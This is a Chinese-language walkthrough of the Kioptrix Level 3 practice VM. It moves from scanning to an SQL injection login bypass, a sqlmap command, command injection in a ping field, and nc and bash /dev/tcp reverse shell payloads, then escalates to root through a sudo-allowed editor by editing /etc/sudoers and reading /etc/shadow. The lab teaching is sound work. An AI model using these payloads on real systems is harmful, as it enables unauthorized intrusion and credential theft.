☰
Kioptrix Level 3靶场实战:从SQL注入到命令注入再到权限提升
2026/10/16 10:02:53 网站建设 项目流程

断断续续刷了不少靶场,Kioptrix Level 3 是我个人觉得比较适合拿来练手的一台。它是典型的低版本 Linux 靶机,开局只有 80 端口的 Web 服务,整条攻击链路从端口发现开始,经过 Web 漏洞利用,一路打到系统权限提升,中间没有太多花哨的东西,正好把渗透测试里最核心的"信息收集 → 漏洞利用 → 提权"这条主线完整走了一遍。

如果你刚学完 Web 安全的基础知识,想找一台"有点难度但又不至于劝退"的靶机练手,或者已经在准备面试、想巩固命令注入和提权的思路,这台靶机都很合适。练完它,你至少能搞明白三件事:为什么登录口经常是突破口、命令注入怎么从一个"测试功能"演变成远程控制、以及拿到低权限 Shell 之后该往哪个方向找提权点。下面我把完整思路和实操过程写出来,全程按我自己的打靶顺序来,细节尽量说透。

1. 靶场定位与攻防思路设计

1.1 Kioptrix Level 3 是什么,能练出哪些能力

Kioptrix Level 3 属于典型的"故意搭出来给人打"的练习靶机。系统版本比较老,上面跑着 Apache 和一套 PHP 写的 Web 应用,没有复杂的中间件,也没有刻意加固。它的核心价值并不是"难",而是让你在一个接近真实的环境中,把渗透测试的标准流程完整走一遍。

具体练到的能力点有这么几块:

  • Web 应用层的漏洞发现:登录模块的 SQL 注入、后台功能的命令注入;
  • 基础工具的使用:nmap 扫描、curl 手工验证、sqlmap 辅助、netcat 反弹 Shell;
  • 系统层面的权限提升:sudo -l 检查、利用被授予 root 权限的普通程序做越权操作;
  • 问题定位与复盘:每一步操作都可能失败,需要快速判断是自己用错命令还是目标环境的问题。

换句话说,这套靶机练的不是某个 0day 的利用细节,而是"从黑盒到 Root"这条最短路径上必备的基本功。相比那些动不动就上域环境、横向移动、免杀的进阶靶场,Level 3 更偏向基本功大礼包,适合把地基打牢。

1.2 攻击路线规划:从端口扫描到Root的思路拆解

打任何一台靶机,我在动手之前习惯先在纸上列一条路线,避免东一榔头西一棒子。这台靶机的路线其实非常清晰:

外部扫描 → 发现 Web 端口 → 摸清 Web 应用逻辑 → 在登录或输入功能处找注入点 → 获得命令执行能力 → 反弹 Shell → 系统内部信息收集 → 找到提权条件 → 拿到 Root。

如果给这条路线标个优先级,Web 端口是绝对的核心。目标对外开放的服务很少,而 Web 应用通常是攻击面最大、逻辑漏洞最多的地方。这一点在真实渗透里同样成立:很多内网系统对外就是一套 Web,能不能打进去,全看 Web 层的漏洞找不找得到。

工具方面,我实际用到的并不多,全部加起来就这些:

工具用途
nmap端口扫描、服务识别、存活探测
curl / 浏览器手工访问页面、构造请求
sqlmapSQL 注入的自动化验证与数据提取(手工也完全够用)
nc(netcat)反弹 Shell 的监听端
目标系统自带命令(id / whoami / sudo -l 等)提权前的信息收集

不需要装什么重量级框架,这一点也说明这台靶机的门槛很低,适合踏踏实实练基本功。

2. 信息收集与攻击面梳理:先把目标摸透

2.1 网络环境搭建与目标发现实操

先把环境搭好。我习惯把靶机和攻击机放在同一个虚拟机网络里,用 NAT 模式,保证双方能互相访问,同时跟外部网络隔离,避免误扫到别人的设备。

开机之后第一件事是确认目标 IP。如果靶机 IP 是自动获取的,可以先扫描一下当前网段的存活主机:

nmap -sn 192.168.x.0/24

或者用 ARP 扫描,速度更快,结果也更直接:

arp-scan --interface eth0 --localnet

多出来的那台陌生主机基本就是靶机。这里有个小经验:如果扫出来的主机数量和自己预期不符,先怀疑虚拟机网络模式有没有配对,靶机网卡有没有正常建起来,别急着往下走。

确认 IP 之后,把它记下来,后面所有命令都会用到。我习惯顺手把 IP 写进/etc/hosts,省得反复敲、还容易敲错。这个习惯在真实项目里也很有用,目标一多,靠脑子记 IP 迟早会出错。

2.2 端口扫描与服务识别:为什么版本信息不能忽略

拿到目标 IP 之后,第一步是摸清开放端口。我使用的命令是:

nmap -sV -sC -p- 192.168.x.x -oN kioptrix3_initial.txt

-sV做服务版本识别,-sC跑默认安全脚本,-p-指定全端口扫描。这台靶机端口本身不多,全端口扫也不会花太长时间。

扫描结果一般是:22 端口开着 SSH,80 端口开着 Apache。很多新手看到结果就兴奋地往 80 冲,但这里我想强调一点:别急着走,先把服务版本信息保存下来。版本信息后面无论是查已知漏洞、判断系统类型,还是评估可用工具,都能派上用场。-oN把结果存成文件,就是给自己留一张可回溯的记录。

从 Apache 的返回头和服务行为来看,这是老版本 Linux 上跑的老版本 Apache,Web 应用是 PHP。老系统意味着两件事:一是可能存在大量历史漏洞可以利用,二是系统自带的命令版本也很老,某些现代提权手法不一定适用。

2.3 Web应用初步探测:登录口是最值得怀疑的地方

浏览器打开http://192.168.x.x,第一眼看到的是一个普通得不能再普通的站点。表面上就是内容展示页,但仔细翻一翻,能发现一个"会员登录"入口。

这个入口非常关键。我的判断逻辑是:登录功能至少涉及三块逻辑——用户输入、数据库查询、会话管理,任何一块出问题都可能变成突破口。所以我把主要精力放在了这里。

我习惯先手工点一点、观察 URL 变化和表单结构,再上工具。手工主要看这些内容:表单提交方式是 GET 还是 POST、参数名是什么、有没有隐藏字段、有没有前端 JavaScript 校验。这套习惯在真实渗透里同样适用,因为自动化工具经常漏掉需要特定会话或特定步骤才能触发的漏洞。

我也顺手跑了一下目录扫描,想看看有没有后台目录或备份文件。不过这台的 Web 目录结构比较收敛,真正的重头戏还是前面发现的登录口。到这里,信息收集阶段基本结束,攻击面已经明确,下一步就是动手试探。

3. Web漏洞利用:从登录口一路打到命令执行

3.1 SQL注入绕过登录认证:单引号引发的连锁反应

登录口是第一个怀疑对象。我首先在用户名字段输入一个单引号'观察反应——如果系统报出 SQL 语法错误,说明输入被原样拼进了 SQL 语句。

这台靶机果然没让我失望,单引号直接触发了数据库报错。这意味着登录验证的 SQL 语句很可能是类似这种结构:

SELECT * FROM users WHERE username='$input' AND password='$pass'

既然输入直接进了 SQL 语句,我就在用户名字段构造万能密码:

' OR 1=1 --

原理很直白:单引号闭合掉前面的字符串,OR 1=1让判断永远为真,--注释掉后面的密码校验部分。整条语句实际变成了"只要存在一条用户记录,就认证通过"。

登录成功后,页面直接变成了后台管理界面。这里多说一句:SQL 注入发现之后,除了"打进去"这个最直接的利用方式,还要意识到数据库本身比 Web 页面更值钱。库里的用户名、密码、业务数据都是后续渗透的弹药。

我用 sqlmap 把数据库结构拉了一遍:

sqlmap -u "http://192.168.x.x/member.php?action=login" --data="username=admin&password=123" --level=3 --risk=2 --dbs

考虑到这是练习环境,SQL 注入的语法特征非常明显,sqlmap 跑得很顺利。从库里取出了一张用户表,里面有账户名和密码哈希。这些凭据在真实场景里可以尝试 SSH 登录,很多运维习惯把 Web 后台和系统账号的密码设成同一个,运气好就直接拿到 Linux 系统用户了。不过对这台靶机来说,还有一条更直接的路径在等着我。

3.2 后台命令注入:一个Ping功能如何变成突破口

进入后台管理界面后,我发现里面提供了一个"Ping 测试"功能,允许输入一个 IP 地址,系统会执行 ping 命令并返回结果。

这个功能本身就属于"高危业务功能"——它存在的目的就是执行系统命令,那么它极有可能存在命令注入。我先输入一个普通 IP,页面正常返回 ping 结果;接着在 IP 后面加上分号和命令:

127.0.0.1; id

如果返回结果里出现了 uid、gid 这些信息,说明输入被原样传给了 shell。这台的响应非常干脆,id的输出直接出现在了回显里,命令注入确认成立。

为什么这里会出问题?根本原因在于后端代码极有可能把整个输入直接拼进了system()或类似的命令执行函数,没有对分号、管道符、$()这类特殊字符做过滤。这个问题在真实环境里同样常见——很多运维自己写的管理脚本,图省事就把用户输入直接拼进命令,等被打了才发现。

命令注入存在,意味着我已经获得了在 Web 服务进程权限下执行任意命令的能力。接下来要做的是把这条能力升级成稳定的 Shell 通道。

3.3 反弹Shell落地细节:踩过的坑和实测有效的姿势

获得命令执行能力后,有两种选择:一种是在网页回显里一条条敲命令,也就是半交互 Shell;另一种是反弹一个全功能的交互式 Shell 回攻击机。后者明显舒服得多,Tab 补全、上下键翻历史、跑交互式工具都不受限制。

反弹 Shell 的操作分两步。第一步,在攻击机上用 nc 监听一个端口:

nc -lvnp 4444

第二步,在目标的命令注入点执行反弹命令。这里有一个关键细节:目标系统是 Linux,但 bash 版本不确定,网上常见的 bash 反弹语句不一定适用。我当时是先探测目标上有哪些可用工具:

127.0.0.1; which nc 127.0.0.1; which netcat

如果目标自带 nc,用传统方式反弹:

127.0.0.1; nc 192.168.x.x 4444 -e /bin/bash

如果新版 nc 不支持-e参数,或者 Web 层把引号过滤掉了,就改用 bash 的/dev/tcp写法:

127.0.0.1; bash -c 'bash -i >& /dev/tcp/192.168.x.x/4444 0>&1'

我在实际测试中发现,这台靶机对带引号的 Payload 处理比较敏感,Web 层的输入校验会吃掉一部分特殊字符。一个省事的办法是把 Payload 做 URL 编码再提交,或者用目标上原本就有的命令来绕过。第一次反弹失败很正常,多试几种姿势,别死磕一条命令。

反弹 Shell 成功建立之后,攻击机的 nc 窗口就会出现一个 Shell 提示符。到这里,"Web 用户"这一步算是真正站稳了。再强调一遍:所有反弹 Shell 操作都必须在授权的靶场环境里进行,千万别拿这套东西对着不属于自己的系统乱试。

4. 权限提升:从Web用户到Root的最后一跃

4.1 低权限信息收集:sudo -l 永远是提权第一步

拿到低权限 Shell 之后,先别急着翻漏洞,脑子里的第一优先级是"摸清楚这台机器的底细"。我按顺序执行了这些命令:

whoami id uname -a sudo -l cat /etc/passwd

前两条确认当前身份和权限组,第三条看内核版本,第四条是提权路上的关键命令——检查当前用户有哪些 sudo 权限,最后一条是为了看系统里有几个用户,判断哪些账号更有利用价值。

在真实渗透里,sudo -l的输出几乎决定了接下来的提权路径。如果某个用户对某个命令有 sudo 权限,而那个命令又能变成以 root 身份执行任意操作,提权基本就稳了。

这台靶机的sudo -l结果很有意思:当前用户被允许以 root 身份执行位于/usr/local/bin/ht的程序,而且不需要密码。ht 是什么?它是个老牌的文本编辑器,功能风格有点接近早期的简易文件管理器风格,能看文件也能改文件。一个编辑器被赋予 root 权限,这个组合本身就是危险的信号。

4.2 用文本编辑器撬开Root权限:ht的妙用

我当时的思路很直接:既然能以 root 身份运行 ht,那我就能用它打开系统里任何 root 才能读写的文件。

ht 是交互式程序,直接在反弹 Shell 里运行会拿不到完整屏幕,所以先要设置终端环境变量:

export TERM=xterm sudo /usr/local/bin/ht

进入 ht 之后,界面的操作方式和普通编辑器不一样,要用功能键来切换菜单。我的做法是打开文件浏览功能,找到/etc/sudoers,把当前用户这一行改成或增加一条ALL权限,比如:

当前用户名 ALL=(ALL) ALL

保存退出之后,再执行sudo bash,直接就换到了 root 身份的 Shell。

如果你不想改 sudoers,还有更直接的用法:用 ht 打开/etc/shadow或者/root目录下的敏感文件,把密码哈希或私钥直接读出来。因为 ht 是以 root 权限运行的,所以读取普通用户无法访问的文件没有任何障碍。也就是说,这个编辑器一旦被 root 授权,就等同于给低权限用户发了一张"任意读系统文件"的通行证。

4.3 为什么编辑器会变成提权神器:粗粒度授权的代价

很多新手到这里会困惑:一个编辑器而已,怎么就成了提权神器?根源在于 sudo 配置的粒度太粗。

sudo 的设计初衷是把某条命令的执行权限授权给某个用户,它的安全边界完全取决于被授权的命令本身。如果授权命令是whoami、date这类无伤大雅的工具,风险确实可控;但像 ht 这种可以读写任意文件的编辑器,一旦被授予 root 权限,就等价于把系统文件的钥匙直接交给了用户。

正确的做法应该是:要么不给 sudo 权限,要么只允许以受控方式调用特定功能,比如通过包装脚本限定参数,绝不能直接让用户以 root 身份运行一个通用文本编辑器。这台靶机显然就是故意留了这样一个配置项,目的就是让你亲眼看到"最小权限原则"被破坏之后会带来什么后果。

我个人的体会是,权限提升这一关,练的不是单点漏洞利用技巧,而是信息收集之后的分析能力。看到sudo -l的输出,你要在十秒之内判断出这个命令能不能用、怎么用、用完能不能拿到 root。这种敏锐度只能靠多打靶机、多复盘来积累。

5. 常见问题与避坑指南:打靶过程中的实战经验

5.1 常见报错速查表

打这台靶机的时候,我周围不少人卡在某些小问题上,我把几个典型场景整理成了一张表:

现象可能原因解决办法
打不开 Web 页面靶机和攻击机不在同一网段检查虚拟机网络模式,确保双方能互通
SQL 注入没反应输入的闭合符号不对先试单引号,再试双引号、括号等闭合方式
命令注入执行不了Web 层做了字符过滤换用管道符、$()、反引号等绕过,或对 Payload 编码
反弹 Shell 没连上目标没有 nc,或 bash 版本不支持先探测目标环境,再选择对应 Payload
ht 界面花屏TERM 环境变量没设置导出TERM=xterm再运行
sudo 执行被拒绝用户名不匹配或 sudoers 语法错误仔细看 sudo -l 输出,确认被授权的用户和命令路径

5.2 几条很重要的实操心得

第一个心得:手工验证永远比盲跑工具强。SQL 注入那一关,我先把报错用手工确认了,再让 sqlmap 跑数据,整个过程心里有数。反过来,如果一上来就无脑跑工具,遇到工具跑不通的情况,你根本不知道问题出在哪一层。

第二个心得:反弹 Shell 的 Payload 要按目标系统定制。别从网上随便复制一条 bash 反弹命令就往目标上丢。先确认目标有没有 nc,bash 版本支不支持/dev/tcp,再决定用哪条思路。一次成功的反弹 Shell,往往是因为多花了三十秒探测环境。

第三个心得:提权之前一定要把"我有什么权限"这个问题彻底搞清楚。sudo -l、id、内核版本、可写目录,这些都是最底层的情报。很多时候提权点就在这些输出里,只是你的注意力全放在所谓的高级 0day 上,把眼前的信息忽略了。

第四个心得:遇到问题先复现原因,再想解决办法。靶场是可控环境,适合反复试验。我在调试命令注入时就遇到过带引号的 Payload 被过滤的问题,后来发现用编码方式就能绕过去。这种经验在真实环境里同样有参考价值,因为真实系统往往也做了类似的输入校验。

最后再分享一个小技巧:每做完一步操作,就在本地笔记里记一条"当前状态 + 下一步计划"。打靶场很容易上头,一上头就会忘记自己扫到哪、注入到哪、Shell 在哪台机器上。有笔记兜底,即使中途思路断了,回看笔记也能快速恢复。这个习惯我从打 Kioptrix 开始一直保留到现在,做实际项目时也一直在用。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询